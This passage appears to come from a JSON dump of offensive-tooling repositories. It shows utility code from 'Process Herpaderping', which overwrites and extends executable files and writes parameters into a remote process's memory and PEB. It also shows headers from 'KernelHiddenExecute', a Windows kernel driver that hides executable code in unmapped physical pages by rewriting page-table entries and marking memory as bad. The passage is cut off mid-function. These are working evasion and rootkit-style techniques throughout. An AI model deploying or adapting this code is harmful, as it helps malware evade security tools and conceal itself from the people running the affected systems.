(ntHeader->Signature != IMAGE_NT_SIGNATURE)\n {\n RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);\n }\n\n if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR32_MAGIC)\n {\n EntryPointRva = ntHeader->OptionalHeader.AddressOfEntryPoint;\n }\n else if (ntHeader->OptionalHeader.Magic == IMAGE_NT_OPTIONAL_HDR64_MAGIC)\n {\n auto ntHeader64 = RCAST(PIMAGE_NT_HEADERS64)(ntHeader);\n EntryPointRva = ntHeader64->OptionalHeader.AddressOfEntryPoint;\n }\n else\n {\n RETURN_LAST_ERROR_SET(ERROR_INVALID_IMAGE_HASH);\n }\n\n return S_OK;\n}\n\nclass OptionalUnicodeStringHelper\n{\npublic:\n\n OptionalUnicodeStringHelper(\n _In_opt_ const std::optional& String) :\n m_String(String)\n {\n if (m_String.has_value())\n {\n RtlInitUnicodeString(&m_Unicode, m_String->c_str());\n }\n else\n {\n RtlInitUnicodeString(&m_Unicode, L\"\");\n }\n }\n\n PUNICODE_STRING Get()\n {\n if (m_String.has_value())\n {\n return &m_Unicode;\n }\n return nullptr;\n }\n\n operator PUNICODE_STRING()\n {\n return Get();\n }\n\nprivate:\n\n const std::optional& m_String;\n UNICODE_STRING m_Unicode;\n\n};\n\n_Use_decl_annotations_\nHRESULT Utils::WriteRemoteProcessParameters(\n handle_t ProcessHandle,\n const std::wstring ImageFileName,\n const std::optional& DllPath,\n const std::optional& CurrentDirectory,\n const std::optional& CommandLine,\n void* EnvironmentBlock,\n const std::optional& WindowTitle,\n const std::optional& DesktopInfo,\n const std::optional& ShellInfo,\n const std::optional& RuntimeData)\n{\n //\n // Get the basic info for the remote PEB address.\n //\n PROCESS_BASIC_INFORMATION pbi{};\n RETURN_IF_NTSTATUS_FAILED(NtQueryInformationProcess(\n ProcessHandle,\n ProcessBasicInformation,\n &pbi,\n sizeof(pbi),\n nullptr));\n\n //\n // Generate the process parameters to write into the process.\n //\n UNICODE_STRING imageName;\n RtlInitUnicodeString(&imageName, ImageFileName.c_str());\n OptionalUnicodeStringHelper dllPath(DllPath);\n OptionalUnicodeStringHelper commandLine(CommandLine);\n OptionalUnicodeStringHelper currentDirectory(CurrentDirectory);\n OptionalUnicodeStringHelper windowTitle(WindowTitle);\n OptionalUnicodeStringHelper desktopInfo(DesktopInfo);\n OptionalUnicodeStringHelper shellInfo(ShellInfo);\n OptionalUnicodeStringHelper runtimeData(RuntimeData);\n wil::unique_user_process_parameters params;\n\n //\n // Generate the process parameters and do not pass\n // RTL_USER_PROC_PARAMS_NORMALIZED, this will keep the process parameters\n // de-normalized (pointers will be offsets instead of addresses) then \n // LdrpInitializeProcess will call RtlNormalizeProcessParameters and fix\n // them up when the process starts.\n //\n // Note: There is an exception here, the Environment pointer is not\n // de-normalized - we'll fix that up ourself.\n //\n RETURN_IF_NTSTATUS_FAILED(RtlCreateProcessParametersEx(\n ¶ms,\n &imageName,\n dllPath,\n currentDirectory,\n commandLine,\n EnvironmentBlock,\n windowTitle,\n desktopInfo,\n shellInfo,\n runtimeData,\n 0));\n\n //\n // Calculate the required length.\n //\n size_t len = params.get()->MaximumLength + params.get()->EnvironmentSize;\n\n //\n // Allocate memory in the remote process to hold the process parameters.\n //\n auto remoteMemory = VirtualAllocEx(ProcessHandle,\n nullptr,\n len,\n MEM_COMMIT | MEM_RESERVE,\n PAGE_READWRITE);\n RETURN_IF_NULL_ALLOC(remoteMemory);\n\n //\n // Okay we have some memory in the remote process, go do the final fix-ups.\n //\n if (params.get()->Environment != nullptr)\n {\n //\n // The environment block will always be right after the length, which\n // is the size of RTL_USER_PROCESS_PARAMETERS plus any extra field\n // data.\n //\n params.get()->Environment = Add2Ptr(remoteMemory, params.get()->Length);\n }\n\n //\n // Write the parameters into the remote process.\n //\n RETURN_IF_WIN32_BOOL_FALSE(WriteProcessMemory(ProcessHandle,\n remoteMemory,\n params.get(),\n len,\n nullptr));\n\n //\n // Write the parameter pointer to the remote process PEB.\n //\n RETURN_IF_WIN32_BOOL_FALSE(WriteProcessMemory(\n ProcessHandle,\n Add2Ptr(pbi.PebBaseAddress,\n FIELD_OFFSET(PEB, ProcessParameters)),\n &remoteMemory,\n sizeof(remoteMemory),\n nullptr));\n\n return S_OK;\n}" }, { "path": "Inject/herpaderping-main/source/ProcessHerpaderping/utils.hpp", "content": "//\n// Copyright (c) Johnny Shaw. All rights reserved.\n// \n// File: source/ProcessHerpaderping/utils.hpp\n// Author: Johnny Shaw\n// Abstract: Utility functionality for herpaderping. \n//\n#pragma once\n\nnamespace Log\n{\n\n constexpr static uint32_t Success{ 0x00000001ul };\n constexpr static uint32_t Information{ 0x00000002ul };\n constexpr static uint32_t Warning{ 0x00000004ul };\n constexpr static uint32_t Error{ 0x00000008ul };\n constexpr static uint32_t Context{ 0x00000010ul };\n constexpr static uint32_t Debug{ 0x80000000ul };\n\n}\n\nnamespace Utils \n{\n /// \n /// Argument parser interface.\n /// \n class IArgumentParser\n {\n public:\n virtual ~IArgumentParser() = default;\n\n /// \n /// Implements functionality for parsing arguments.\n /// \n /// \n /// Number of command line arguments.\n /// \n /// \n /// Command line arguments.\n /// \n /// \n /// Success if arguments were parsed successfully. Failure otherwise.\n /// \n _Must_inspect_result_ virtual HRESULT ParseArguments(\n _In_ int Argc,\n _In_reads_(Argc) const wchar_t* Argv[]) = 0;\n\n /// \n /// Implements retrieving the argument usage.\n /// \n /// \n /// Argument usage.\n /// \n virtual std::wstring_view GetUsage() const = 0;\n\n /// \n /// Provides the interface an opportunity to validate the parsed \n /// arguments. If the arguments are invalid (for example, two options \n /// are used that may not be specified together) the implementation \n /// may return failure here to indicate the arguments are invalid.\n /// \n _Must_inspect_result_ virtual HRESULT ValidateArguments() const = 0;\n\n protected:\n IArgumentParser() = default;\n };\n\n /// \n /// Matches a parameter argument with either short or parameter.\n /// \n /// \n /// Argument to check against short or long parameter argument \n /// must either be prefixed explicitly as long (\"--\") or short (\"-\", \"/\").\n /// \n /// \n /// Short parameter representation (e.g. \"q\").\n /// \n /// \n /// Long parameter representation (e.g. \"quiet\").\n /// \n /// \n /// Success if the argument matches either the short to long parameter.\n /// \n _Must_inspect_result_ HRESULT MatchParameter(\n _In_ std::wstring_view Arg,\n _In_opt_ std::optional Short,\n _In_opt_ std::optional Long);\n\n /// \n /// Checks for help options in parameters.\n /// \n /// \n /// Number of command line arguments.\n /// \n /// \n /// Command line arguments.\n /// \n /// \n /// Success if \"--help\", \"-h\", \"/h\", \"-?\", or \"/?\" are found in the \n /// command line arguments. \n /// \n _Must_inspect_result_ HRESULT CheckForHelpOptions(\n _In_ int Argc,\n _In_reads_(Argc) const wchar_t* Argv[]);\n\n /// \n /// Handles command line arguments for a argument parser. If a help \n /// option is found or the parser fails. The function prints the header \n /// and usage text to stdout and return failure.\n /// \n /// \n /// Number of command line arguments.\n /// \n /// \n /// Command line arguments.\n /// \n /// \n /// Header to print before usage.\n /// \n /// \n /// Argument parser to use.\n /// \n /// \n /// Success if the arguments were parsed successfully. Failure if the \n /// arguments were invalid or a help option was found. \n /// \n _Must_inspect_result_ HRESULT HandleCommandLineArgs(\n _In_ int Argc,\n _In_reads_(Argc) const wchar_t* Argv[],\n _In_opt_ std::optional Header,\n _Inout_ IArgumentParser& Parser);\n\n#pragma warning(push)\n#pragma warning(disable : 4634) // xmldoc: discarding XML document comment for invalid target \n /// \n /// Removes all occurrences of a set of values from an object.\n /// \n /// \n /// Object type to remove elements of. Must implement erase, be forward \n /// iterate-able, and contained value type must be move assignable.\n /// \n /// \n /// Object to erase elements from.\n /// \n /// \n /// Values to remove.\n /// \n template \n void EraseAll(\n _Inout_ T& Object,\n _In_ const std::initializer_list& Values)\n {\n for (const auto& value : Values)\n {\n Object.erase(std::remove(Object.begin(),\n Object.end(),\n value),\n Object.end());\n }\n }\n#pragma warning(pop)\n\n /// \n /// Formats an error code as a string.\n /// \n /// \n /// Error code to format as a string.\n /// \n /// \n /// Human readable string for the error code if the error is unknown a \n /// string is returned formatted as \"[number] - Unknown Error\".\n /// \n std::wstring FormatError(_In_ uint32_t Error);\n\n /// \n /// Sets the logging mask.\n /// \n /// \n /// Logging mask to set.\n /// \n void SetLoggingMask(_In_ uint32_t Level);\n\n /// \n /// Logs a string.\n /// \n /// \n /// Logging level: Log::Success, Log::Information, Log::Warning, Log:Error.\n /// \n /// \n /// Format for log string.\n /// \n /// \n /// Variadic arguments for formatting.\n /// \n void Log(\n _In_ uint32_t Level, \n _Printf_format_string_ const wchar_t* Format, \n ...);\n\n /// \n /// Logs a string with a specified error code appended to the formatted \n /// string. \n /// \n /// \n /// Logging level: Log::Success, Log::Information, Log::Warning, Log:Error.\n /// \n /// \n /// Error code.\n /// \n /// \n /// Format for log string.\n /// \n /// \n /// Variadic arguments for formatting.\n /// \n /// \n /// Supplied Error\n /// \n uint32_t Log(\n _In_ uint32_t Level, \n _In_ uint32_t Error, \n _Printf_format_string_ const wchar_t* Format, \n ...);\n\n /// \n /// Generates a buffer of a given length containing a supplied pattern.\n /// \n /// \n /// Buffer to fill with the patter, must not be empty.\n /// \n /// \n /// Pattern to write into the buffer.\n /// \n /// \n /// Success when the buffer is filled with the pattern. Failure if Buffer \n /// is empty.\n /// \n _Must_inspect_result_ HRESULT FillBufferWithPattern(\n _Inout_ std::vector& Buffer,\n _In_ std::span Pattern);\n\n /// \n /// Generates a buffer of random bytes of a given length.\n /// \n /// \n /// Buffer to assign the bytes to, must not be empty.\n /// \n /// \n /// Success if the buffer is filled with random bytes.\n /// \n _Must_inspect_result_ HRESULT FillBufferWithRandomBytes(\n _Inout_ std::vector& Buffer);\n\n /// \n /// Gets a file size.\n /// \n /// \n /// File to get the size of.\n /// \n /// \n /// Set to the size of the file on success.\n /// \n /// \n /// Success if the file size of retrieved.\n /// \n _Must_inspect_result_ HRESULT GetFileSize(\n _In_ handle_t FileHandle, \n _Out_ uint64_t& FileSize);\n\n /// \n /// Sets a file pointer.\n /// \n /// \n /// File to set the pointer of.\n /// \n /// \n /// Distance to move the file pointer.\n /// \n /// \n /// Move method to use (FILE_BEGIN, FILE_CURRENT, FILE_END).\n /// \n /// \n /// Success if the file pointer was set (or was already set).\n /// \n _Must_inspect_result_ HRESULT SetFilePointer(\n _In_ handle_t FileHandle,\n _In_ int64_t DistanceToMove,\n _In_ uint32_t MoveMethod);\n\n /// \n /// Copies the contents for a source file to the target by handle.\n /// \n /// \n /// Source file handle.\n /// \n /// \n /// Target file handle.\n /// \n /// \n /// Flushes file buffers after copy, optional, defaults to true.\n /// \n /// \n /// Success if the source file has been copied to the target.\n /// \n _Must_inspect_result_ HRESULT CopyFileByHandle(\n _In_ handle_t SourceHandle, \n _In_ handle_t TargetHandle,\n _In_ bool FlushFile = true);\n\n /// \n /// Overwrites the contents of a file with a pattern.\n /// \n /// \n /// Target file to overwrite.\n /// \n /// \n /// Pattern write over the file content.\n /// \n /// \n /// Length of Pattern buffer.\n /// \n /// \n /// Flushes file buffers after overwrite, optional, defaults to true.\n /// \n /// \n /// Success if the file content was overwritten.\n /// \n _Must_inspect_result_ HRESULT OverwriteFileContentsWithPattern(\n _In_ handle_t FileHandle,\n _In_ std::span Pattern,\n _In_ bool FlushFile = true);\n\n /// \n /// Extends file to meet a new size writes a pattern to the extension.\n /// \n /// \n /// Target file to extend.\n /// \n /// \n /// New size of the file.\n /// \n /// \n /// Pattern to use to extend the target file with.\n /// \n /// \n /// Number of bytes appended.\n /// \n /// \n /// Flushes file buffers after extension, optional, defaults to true.\n /// \n /// \n /// Success if the file was extended.\n /// \n _Must_inspect_result_ HRESULT ExtendFileWithPattern(\n _In_ handle_t FileHandle,\n _In_ uint64_t NewFileSize,\n _In_ std::span Pattern,\n _Out_ uint32_t& AppendedBytes,\n _In_ bool FlushFile = true);\n\n /// \n /// Overwrites a file from a given offset with a pattern.\n /// \n /// \n /// Target file to overwrite.\n /// \n /// \n /// Offset to begin writing from.\n /// \n /// \n /// Pattern to use to extend the target file with.\n /// \n /// \n /// Number of bytes written.\n /// \n /// \n /// Flushes file buffers after overwrite, optional, defaults to true.\n /// \n /// \n /// Success if the file was overwritten.\n /// \n _Must_inspect_result_ HRESULT OverwriteFileAfterWithPattern(\n _In_ handle_t FileHandle,\n _In_ uint64_t FileOffset,\n _In_ std::span Pattern,\n _Out_ uint32_t& WrittenBytes,\n _In_ bool FlushFile = true);\n \n /// \n /// Extends a PE file security directory by a number of bytes.\n /// \n /// \n /// Target file handle.\n /// \n /// \n /// Number of bytes to extend the security directory by.\n /// \n /// \n /// Flushes file buffers after extension, optional, defaults to true.\n /// \n /// \n /// Success if the security directory was extended. Failure if the file is \n /// not a PE file or does not have a security directory.\n /// \n _Must_inspect_result_ HRESULT ExtendFileSecurityDirectory(\n _In_ handle_t FileHandle,\n _In_ uint32_t ExtendedBy,\n _In_ bool FlushFile = true);\n\n /// \n /// Retrieves the image entry point RVA from a file.\n /// \n /// \n /// File to parse for the entry point RVA.\n /// \n /// \n /// Set to the entry point RVA on success.\n /// \n /// \n /// Success if the PE image entry RVA is located.\n /// \n _Must_inspect_result_ HRESULT GetImageEntryPointRva(\n _In_ handle_t FileHandle,\n _Out_ uint32_t& EntryPointRva);\n\n /// \n /// Writes remote process parameters into target process.\n /// \n /// \n /// Process to write parameters into.\n /// \n /// \n /// Dll path to write into the parameters, optional.\n /// \n /// \n /// Image file name to write into the parameters.\n /// \n /// \n /// Current directory to write into the parameters, optional.\n /// \n /// \n /// Command line to write into the parameters, optional.\n /// \n /// \n /// Environment block to write into the parameters, optional.\n /// \n /// \n /// Window title to write into the parameters, optional.\n /// \n /// \n /// Desktop info to write into the parameters, optional.\n /// \n /// \n /// ShellInfo to write into the parameters, optional.\n /// \n /// \n /// Runtime data to write into the parameters, optional.\n /// \n /// \n /// Success if the remote process parameters are written.\n /// \n _Must_inspect_result_ HRESULT WriteRemoteProcessParameters(\n _In_ handle_t ProcessHandle,\n _In_ const std::wstring ImageFileName,\n _In_opt_ const std::optional& DllPath,\n _In_opt_ const std::optional& CurrentDirectory,\n _In_opt_ const std::optional& CommandLine,\n _In_opt_ void* EnvironmentBlock,\n _In_opt_ const std::optional& WindowTitle,\n _In_opt_ const std::optional& DesktopInfo,\n _In_opt_ const std::optional& ShellInfo,\n _In_opt_ const std::optional& RuntimeData);\n\n}\n" }, { "path": "KernelHiddenExecute-master/.gitattributes", "content": "# Auto detect text files and perform LF normalization\n* text=auto\n" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute/Head.h", "content": "#pragma once\n\n#include \n#include \n#include \n#include \n#include \n#include \n\n#include \"MyDebugPrint.h\"\n#include \"PhysicalMemoryOperation.h\"\n#include \"SectionOperation.h\"\n#include \"HiddenExecute.h\"\n#include \"HiddenCallApiTransfer.h\"\n#include \"HiddenFunctions.h\"\n\n\n#define\tDEVICE_NAME\tL\"\\\\Device\\\\KernelHiddenExcute\"\n#define LINK_NAME\tL\"\\\\DosDevices\\\\Global\\\\KernelHiddenExcute\"\n\n#define IOCTL_TEST\tCTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_BUFFERED, FILE_ANY_ACCESS) \n\nPHIDDEN_PAGE_RECORD g_pHiddenPageRecord = NULL;" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute/HiddenCallApiTransfer.h", "content": "#pragma once\n#include \"Head.h\"\n\n/*********************************************************\nfunction:\t\tSimulateApi\ndescription:\n**********************************************************/\nNTSTATUS SimulateApi(ULONG64 param1)\n{\n\tMyPrint(_TitleAndFunc\"param1:%16IX\\n\", param1);\n\treturn STATUS_SUCCESS;\n}\n\n/*********************************************************\nfunction:\t\tApiTransfer_SimulateApi\ndescription:\ttest of call apis in the hidden apis\n**********************************************************/\n\nNTSTATUS ApiTransfer_SimulateApi(PHIDDEN_PAGE_RECORD pHiddenPageRecord, ULONG64 param1)\n{\n\t//BOOL\t\tIsIrqlChanged = FALSE;\n\tNTSTATUS\tStatus;\n\n\t/*\n\tif (HighestIrql < HIDDEN_IRQL)\n\t{\n\tChangeIrql(HighestIrql);\n\tIsIrqlChanged = TRUE;\n\t}\n\t*/\n\n\tContextHiddenToOriginal(pHiddenPageRecord);\n\n\tStatus = SimulateApi(param1);\n\n\tContextOriginalToHidden(pHiddenPageRecord);\n\n\t/*\n\tif (IsIrqlChanged)\n\tChangeIrql(HIDDEN_IRQL);\n\t*/\n\n\treturn Status;\n}" }, { "path": "KernelHiddenExecute-master/KernelHiddenExcute/HiddenExecute.h", "content": "#pragma once\n#include \"Head.h\"\n\n/*********************************************************\ndescription:\nnotice!!!\trun in IRQL >= DPC_LEVEL\n\t\t\tcall apis maybe due to lower irql\n\nin order to hidden real code in the non-mapped physical pages,and clear original codes\nbefore call the hidden functions,we should map the physical pages to correct position.\nif we have to call windows api in our hidden functions,we should call the transfer functions(not hidden)\n\nfeatures of transfer functions:check & change irql,restore & rewrite page table(pte),call specific apis\n\nreserve the physical pages by Api:MmMarkPhysicalMemoryAsBad,prevent the allocation of our physical pages space\n\n**********************************************************/\n\n#define SECTION_NAME_HIDDEN\t\t\t\".hidden\"\n\n#define HIDDEN_IRQL\t\t\t\t\tDISPATCH_LEVEL\n#define ChangeIrql(x)\t\t\t\tWriteCR8(x)\n#define ClearPageTableFlag(x)\t\tClearCR3Flag(x)\n#define HIDDEN_PAGE_RECORD_LENGTH\t0x1000\n#define MAX_HIDDEN_PAGE_COUNT\t\t126\t\t\t\t\t// (4096 - 40) / (4 * 8) = 126.75\n\ntypedef struct _MMPTE\n{\n\tstruct /* bitfield */\n\t{\n\t\t/* 0x0000 */ unsigned __int64 Valid : 1; /* bit position: 0 */\n\t\t/* 0x0000 */ unsigned __int64 Dirty1 : 1; /* bit position: 1 */\n\t\t/* 0x0000 */ unsigned __int64 Owner : 1; /* bit position: 2 */\n\t\t/* 0x0000 */ unsigned __int64 WriteThrough : 1; /* bit position: 3 */\n\t\t/* 0x0000 */ unsigned __int64 CacheDisable : 1; /* bit position: 4 */\n\t\t/* 0x0000 */ unsigned __int64 Accessed : 1; /* bit position: 5 */\n\t\t/* 0x0000 */ unsigned __int64 Dirty : 1; /* bit position: 6 */\n\t\t/* 0x0000 */ unsigned __int64 LargePage : 1; /* bit position: 7 */\n\t\t/* 0x0000 */ unsigned __int64 Global : 1; /* bit position: 8 */\n\t\t/* 0x0000 */ unsigned __int64 CopyOnWrite : 1; /* bit position: 9 */\n\t\t/* 0x0000 */ unsigned __int64 Unused : 1; /* bit position: 10 */\n\t\t/* 0x0000 */ unsigned __int64 Write : 1; /* bit position: 11 */\n\t\t/* 0x0000 */ unsigned __int64 PageFrameNumber : 36; /* bit position: 12 */\n\t\t/* 0x0000 */ unsigned __int64 reserved1 : 4; /* bit position: 48 */\n\t\t/* 0x0000 */ unsigned __int64 SoftwareWsIndex : 11; /* bit position: 52 */\n\t\t/* 0x0000 */ unsigned __int64 NoExecute : 1; /* bit position: 63 */\n\t}; /* bitfield */\n} MMPTE, *PMMPTE; /* size: 0x0008 */\n\ntypedef struct _SPECIFIC_HIDDEN_PAGE_RECORD\n{\n\tPVOID\t\tpHiddenBase;\n\tPMMPTE\t\tpPTE;\n\tULONG64\t\tOriginalPfn;\n\tULONG64\t\tHiddenPfn;\n}SPECIFIC_HIDDEN_PAGE_RECORD, *PSPECIFIC_HIDDEN_PAGE_RECORD;\n\ntypedef struct _HIDDEN_PAGE_RECORD\n{\n\tBOOL\t\t\t\t\t\t\tIsHidden;\n\tKIRQL\t\t\t\t\t\t\tOriginalIrql;\n\tBOOL\t\t\t\t\t\t\tIsIrqlChanged;\n\tKSPIN_LOCK\t\t\t\t\t\tSpinLock;\n\tULONG64\t\t\t\t\t\t\tCount;\n\tSPECIFIC_HIDDEN_PAGE_RECORD\t\tRecord[MAX_HIDDEN_PAGE_COUNT - 1];\n}HIDDEN_PAGE_RECORD, *PHIDDEN_PAGE_RECORD;\n\n\n\nPHYSICAL_OP_CR3\t\t\tg_PhysicalOpCR3 = { 0 };\nBOOL\t\t\t\t\tg_IsHiddenOpInit = FALSE;\n\nNTSYSAPI NTSTATUS MmMarkPhysicalMemoryAsBad(IN PPHYSICAL_ADDRESS, IN OUT PLARGE_INTEGER);\nNTSYSAPI NTSTATUS MmMarkPhysicalMemoryAsGood(IN PPHYSICAL_ADDRESS, IN OUT PLARGE_INTEGER);\n\n/*********************************************************\nfunction:\t\tInitializeHiddenPageRecordStructure\ndescription:\tinitialize the structure:initialize spin lock & set count to zero\ncalls:\t\t\tExAllocatePool\n\t\t\t\tKeInitializeSpinLock\n\t\t\t\tCreatePhysicalOpCR3BySystemCR3\n**********************************************************/\nNTSTATUS InitializeHiddenPageRecordStructure(PHIDDEN_PAGE_RECORD* ppHiddenPageRecord)\n{\n\t//check the init state\n\tif (g_IsHiddenOpInit)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\tPHIDDEN_PAGE_RECORD pHiddenPageRecord = NULL;\n\tpHiddenPageRecord = (PHIDDEN_PAGE_RECORD)ExAllocatePool(NonPagedPool, HIDDEN_PAGE_RECORD_LENGTH);\n\t*ppHiddenPageRecord = pHiddenPageRecord;\n\n\tMyPrint(_TitleAndFunc\"pHiddenPageRecord:%16IX\\n\", pHiddenPageRecord);\n\tif (pHiddenPageRecord != NULL)\n\t{\n\t\t//set count to zero\n\t\tpHiddenPageRecord->Count = 0;\n\t\t//initialize spin lock\n\t\tKeInitializeSpinLock(&pHiddenPageRecord->SpinLock);\n\n\t\t//initialize physical memory context\n\t\tCreatePhysicalOpCR3BySystemCR3(GetCR3ByPID(4), &g_PhysicalOpCR3);\n\n\t\t//change init state\n\t\tg_IsHiddenOpInit = TRUE;\n\n\t\treturn STATUS_SUCCESS;\n\t}\n\telse {\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n}\n\n/*********************************************************\nfunction:\t\tFreeHiddenPageRecordStructure\ndescription:\tfree the structure and set pHiddenPageRecord to zero\ncalls:\t\t\tExFreePool\n**********************************************************/\nNTSTATUS FreeHiddenPageRecordStructure(PHIDDEN_PAGE_RECORD pHiddenPageRecord)\n{\n\t//check the init state\n\tif (!g_IsHiddenOpInit)\n\t\treturn STATUS_UNSUCCESSFUL;\n\n\tif (pHiddenPageRecord != NULL)\n\t{\n\t\t//free hidden operation structure\n\t\tExFreePool(pHiddenPageRecord);\n\t\tpHiddenPageRecord = NULL;\n\n\t\t//free physical operation structure\n\t\tFreePhysicalOpCR3(&g_PhysicalOpCR3);\n\n\t\t//change the init state\n\t\tg_IsHiddenOpInit = FALSE;\n\n\t\treturn STATUS_SUCCESS;\n\t}\n\telse {\n\t\treturn STATUS_UNSUCCESSFUL;\n\t}\n}\n\n/*********************************************************\nfunction:\t\tpPTEPFNtoPhysicalAddress\ndescription:\ttranslate pfn number to physical address\n**********************************************************/\nPVOID pPTEPFNtoPhysicalAddress(ULONG64 PFN)\n{\n\treturn (PVOID)(PFN << 12);\n}\n\n/*********************************************************\nfunction:\t\tpPhysicalAddresstoPTEPFN\ndescription:\ttranslate physical address to pfn number\n**********************************************************/\nULONG64 pPhysicalAddresstoPTEPFN(PVOID PhysicalAddressBase)\n{\n\treturn (ULONG64)PhysicalAddressBase >> 12;\n}\n\n/*********************************************************\nfunction:\t\tpGetSpecificAddresspPTEPhysical\ndescription:\tget the pointer of pPTEPhysical\ncalls:\t\t\tContextVirtualToPhysical\nClearPageTableFlag\nContextPhysicalToVirtual\n**********************************************************/\nPMMPTE pGetSpecificAddresspPTEPhysical(ULONG64 CR3, PVOID pPageBase)\n{\n\t//analyse the params\n\tPMMVA\t\tpAddressInfo = (PMMVA)&pPageBase;\n\tPVOID\t\tpPML4T = (PVOID)ClearCR3Flag(CR3);\n\tPMMPTE\t\tpPML4E = NULL;\n\tPVOID\t\tpPDPT = NULL;\n\tPMMPTE\t\tpPDPTE = NULL;\n\tPVOID\t\tpPDT = NULL;\n\tPMMPTE\t\tpPDE = NULL;\n\tPVOID\t\tpPT = NULL;\n\tPMMPTE\t\tpPTE = NULL;\n\n\t//switch to physical context\n\tContextVirtualToPhysical(&g_PhysicalOpCR3);\n\n\tpPML4E = (PMMPTE)((ULONG64)pPML4T + pAddressInfo->PML4T*ENTRY_SIZE);\n\tif (!pPML4E->Valid)\n\t\tgoto Lable_Error;\n\tpPDPT = (PVOID)ClearPageTableFlag(*(PULONG64)pPML4E);\n\n\tpPDPTE = (PMMPTE)((ULONG64)pPDPT + pAddressInfo->PDPT*ENTRY_SIZE);\n\tif (pPDPTE->LargePage || !pPDPTE->Valid)\n\t\tgoto Lable_Error;\n\tpPDT = (PVOID)ClearPageTableFlag(*(PULONG64)pPDPTE);\n\n\tpPDE = (PMMPTE)((ULONG64)pPDT + pAddressInfo->PDT*ENTRY_SIZE);\n\tif (pPDE->LargePage || !pPDE->Valid)\n\t\tgoto Lable_Error;\n\tpPT = (PVOID)ClearPageTableFlag(*(PULONG64)pPDE);\n\n\tpPTE = (PMMPTE)((ULONG64)pPT + pAddressInfo->PT*ENTRY_SIZE);\n\tif (!pPTE->Valid)\n\t\tgoto Lable_Error;\n\n\tContextPhysicalToVirtual(&g_PhysicalOpCR3);\n\t//look up the page table finished\n\tMyPrint(_TitleAndFunc\"pPTE:%16IX\\n\", pPTE);\n\treturn pPTE;\n\nLable_Error:\n\tContextPhysicalToVirtual(&g_PhysicalOpCR3);\n\treturn NULL;\n}\n\n/*********************************************************\nfunction:\t\tpGetSpecificAddressPhysicalForR3\ndescription:\tjust for E language\n**********************************************************/\n#define PHYSICAL_OFFSET\t0x8000000000\n#define NUM_1G\t\t\t0x40000000\n#define NUM_2M\t\t\t0x200000\nPVOID pGetSpecificAddressPhysicalForR3(ULONG64 CR3, PVOID pVirtual)\n{\n\t//analyse the params\n\tPMMVA\t\tpAddressInfo = (PMMVA)&pVirtual;\n\tPVOID\t\tpPML4T = (PVOID)ClearCR3Flag(CR3);\n\tPMMPTE\t\tpPML4E = NULL;\n\tPVOID\t\tpPDPT = NULL;\n\tPMMPTE\t\tpPDPTE = NULL;\n\tPVOID\t\tpPDT = NULL;\n\tPMMPTE\t\tpPDE = NULL;\n\tPVOID\t\tpPT = NULL;\n\tPMMPTE\t\tpPTE = NULL;\n\tPVOID\t\tpPhysicalBase = NULL;\n\tPVOID\t\tpPhysical = NULL;\n\tPVOID\t\tpPhysicalR3 = NULL;\n\n\tpPML4E = (PMMPTE)((ULONG64)pPML4T + pAddressInfo->PML4T*ENTRY_SIZE + PHYSICAL_OFFSET);\n\tif (!pPML4E->Valid)\n\t\treturn NULL;\n\tpPDPT = (PVOID)ClearPageTableFlag(*(PULONG64)pPML4E);\n\n\tpPDPTE = (PMMPTE)((ULONG64)pPDPT + pAddressInfo->PDPT*ENTRY_SIZE + PHYSICAL_OFFSET);\n\tif (!pPDPTE->Valid)\n\t\treturn NULL;\n\tif (pPDPTE->LargePage)\n\t\tgoto Lable_PDPTE_LargePage;\n\tpPDT = (PVOID)ClearPageTableFlag(*(PULONG64)pPDPTE);\n\n\tpPDE = (PMMPTE)((ULONG64)pPDT + pAddressInfo->PDT*ENTRY_SIZE + PHYSICAL_OFFSET);\n\tif (!pPDE->Valid)\n\t\treturn NULL;\n\tif (pPDE->LargePage)\n\t\tgoto Lable_PDE_LargePage;\n\tpPT = (PVOID)ClearPageTableFlag(*(PULONG64)pPDE);\n\n\tpPTE = (PMMPTE)((ULONG64)pPT + pAddressInfo->PT*ENTRY_SIZE + PHYSICAL_OFFSET);\n\tif (!pPTE->Valid)\n\t\treturn NULL;\n\tpPhysicalBase = (PVOID)ClearPageTableFlag(*(PULONG64)pPTE);\n\n\tpPhysical = (PVOID)((ULONG64)pPhysicalBase + pAddressInfo->Offset);\n\tpPhysicalR3 = (PVOID)((ULONG64)pPhysical + PHYSICAL_OFFSET);\n\treturn pPhysicalR3;\n\nLable_PDPTE_LargePage:\n\tpPhysicalBase = (PVOID)(((PMMPDPTE)pPDPTE)->PageFrameNumber*NUM_1G);\n\tpPhysical = (PVOID)((ULONG64)pPhysicalBase + ((PMMVA_PDPTE_LARGE)pAddressInfo)->Offset);\n\tpPhysicalR3 = (PVOID)((ULONG64)pPhysical + PHYSICAL_OFFSET);\n\treturn pPhysicalR3;\n\nLable_PDE_LargePage:\n\tpPhysicalBase = (PVOID)(((PMMPDE)pPDE)->PageFrameNumber*NUM_2M);\n\tpPhysical = (PVOID)((ULONG64)pPhysicalBase + ((PMMVA_PDE_LARGE)pAddressInfo)->Offset);\n\tpPhysicalR3 = (PVOID)((ULONG64)pPhysical + PHYSICAL_OFFSET);\n\treturn pPhysicalR3;\n}\n/*********************************************************\nfunction:\t\tAddHiddenPageRecord\ndescription:\tadd a record element to the structure\n\t\t\t\tinclude get pte physical address of the specific page and record the pfn\n\t\t\t\treserve a physical page by api:MmAllocateNonCachedMemory and MmMarkPhysicalMemoryAsBad\n\t\t\t\tthen free the page\n\ncalls:\t\t\tKeAcquireSpinLock\n\t\t\t\tpGetSpecificAddresspPTEPhysical\n\t\t\t\tContextVirtualToPhysical\n\t\t\t\tContextPhysicalToVirtual\n\t\t\t\tMmAllocateNonCachedMemory\n\t\t\t\tMmGetPhysicalAddress\n\t\t\t\tpPhysicalAddresstoPTEPFN\n\t\t\t\tMmFreeNonCachedMemory\n\t\t\t\tMmMarkPhysicalMemoryAsBad\n\t\t\t\tKeReleaseSpinLock\n**********************************************************/\nNTSTATUS AddHiddenPageRecord(ULONG64 CR3, PVOID pHiddenPageBase, PHIDDEN_PAGE_RECORD pHiddenPageRecord)\n{\n\tKIRQL\t\tEntryIrql;\n\tNTSTATUS\tStatus = STATUS_UNSUCCESSFUL;\n\t//prevent mulit-thread change the page record 